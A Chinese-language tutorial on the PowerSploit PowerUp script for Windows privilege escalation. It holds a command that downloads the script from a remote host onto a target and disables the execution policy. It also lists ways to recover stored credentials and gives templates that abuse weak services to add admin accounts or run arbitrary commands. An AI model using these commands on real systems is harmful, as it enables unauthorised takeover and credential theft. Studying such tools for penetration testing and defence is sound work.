poweUp 是 Privesc 模块下的脚本,拥有众多用来寻找目标主机 Windows 服务漏洞进行提权的实用脚本
通常,在 Windows 下可以通过内核漏洞来提升权限,但是,可能会碰到无法通过内核漏洞提权所处服务器的情况,这个时候就需要利用脆弱的 Windows 服务提权,或者利用常见的系统服务,通过其继承的系统权限来完成提权等,此框架可以在内核提权不行的时候,帮助寻找服务器的弱点,进而通过脆弱点实现提权的目的
准备
下载 PowerUp.ps1 到目标主机,然后命令 import-module 导入模块
(New-Object Net.WebClient).DownloadFile("http://192.168.110.130/PowerSploit/Privesc/PowerUp.ps1","E:\PowerUp.ps1")
import-module .\PowerUp.ps1
(导入模块可能会出现错误,权限不足,脚本运行设置为 unRestricted)
Get-ExecutionPolicy
Set-ExecutionPolicy unRestricted
输入命令可以通过 Tab 键来自动补全,如果要查看各个模块的详细说明,可以输入 get-help [cmdlet](模块名称) -full
get-Help Invoke-AllChecks -full
1.Invoke-AllChecks
自动执行 PowerUp下所有的脚本来检查目标主机
Check:检查出来的问题 AbuseFunction:可以利用的模块
2.Find-Pathdllhijack
检查当前 %PATH%的哪些目录是用户可以写入的(检查系统可写目录)
3.Get-ApplicationHost
Get-ApplicationHost
Get-ApplicationHost | Format-Table -Autosize //列表显示
利用系统上的 applicationHost.config 文件恢复加密过的应用池和虚拟目录的密码
4.Get-RegistryAlwaysInstallElevated
检查 AlwaysInstallElevated 注册表项是否被设置,如果已被设置,意味着 MSI 文件是以 SYSTEM权限执行的
5.Get-RegistryAutoLogon
检查 Winlogin 注册表中的 AutoAdminLogon 项有没有被设置,可查询默认的用户名和密码
6.Get-ServiceDetail
返回某服务的信息
Get-ServiceDetail -ServiceName Dhcp
7.Test-ServiceDaclPermission
检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象
8.Get-UnattendedInstallFile
检查一些路径,查找是否存在这些文件,因为这些文件中可能含有部署凭据
- c:\sysprep\sysprep.xml
- c:\sysprep\sysprep.inf
- c:\sysprep.inf
- c:\windows\Panther\Unattended.xml
- c:\windows\Panther\Unattend\Unattended.xml
- c:\windows\Panther\Unattend.xml
- c:\windows\Panther\Unattend\Unattend.xml
- c:\windows\System32\Sysprep\unattend.xml
- c:\windows\System32\Sysprep\Panther\unattend.xml
9.Get-ModifiableRegistryAutoRun
检查开机自启的应用程序路径和注册表键值,然后返回当前用户可修改的程序路径
10.Get-ModifiableScheduledTaskFile
返回当前用户能够修改的计划任务程序的名称和路径,被检查的注册表键值如下:
- HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
- HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
- HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
- HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
- HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
- HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
- HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
11.Get-Webconfig
返回当前服务器上 web.config 文件中的数据库连接字符串的明文
12.Invoke-ServiceAbuse
Invoke-ServiceAbuse -ServiceName XXXX //添加默认账户
Invoke-ServiceAbuse -ServiceName XXXX -Username "域名\用户名称" //指定添加的域账户
Invoke-ServiceAbuse -ServiceName XXXX -Username XXXX -Password XXXX -LocalGroup "XXX"
//添加指定用户,用户密码以及添加的用户组
Invoke-ServiceAbuse -ServiceName XXXX -Command "net..." //自定义执行命令
13.Restore-ServiceBinary
恢复服务的可执行文件到原始目录
Restore-ServiceBinary -ServiceName XXXX
14.Test-ServiceDaclPermission
检查某个用户是否在服务中有自由访问控制的权限,结果会返回 True 或 False
Test-ServiceDaclPermission -ServiceName XXX
15.Write-HijackDll
输出一个自定义命令并且能够自我删除的 bat 文件到 $env:Temp\debug.bat,并输出一个能够启动这个 bat 文件的 DLL
16.Write-UserAddMSI
生成一个安装文件,运行这个安装文件后会弹出添加用户的对话框
Write-UserAddMSI
17.Write-ServiceBinary
用于预编译 C# 服务的可执行文件,默认创建一个管理员账户,通过 Command 定制自己的命令
Write-ServiceBinary -ServiceName XXXX //添加默认账户
Write-ServiceBinary -ServiceName XXXX -Username "域名\用户名称" //指定添加的域账户
Write-ServiceBinary -ServiceName XXXX -Username XXXX -Password XXXX -LocalGroup "XXX"
//添加指定用户,用户密码以及添加的用户组
Write-ServiceBinary -ServiceName XXXX -Command "net..." //自定义执行命令
18.Install-ServiceBinary
写一个 C# 的服务用来添加用户
Install-ServiceBinary -ServiceName XXXX //添加默认账户
Install-ServiceBinary -ServiceName XXXX -Username "域名\用户名称" //指定添加的域账户
Install-ServiceBinary -ServiceName XXXX -Username XXXX -Password XXXX -LocalGroup "XXX"
//添加指定用户,用户密码以及添加的用户组
Install-ServiceBinary -ServiceName XXXX -Command "net..." //自定义执行命令
Write-ServiceBinary 与 Install-ServiceBinary 不同:前者生成可执行文件,后者直接安装服务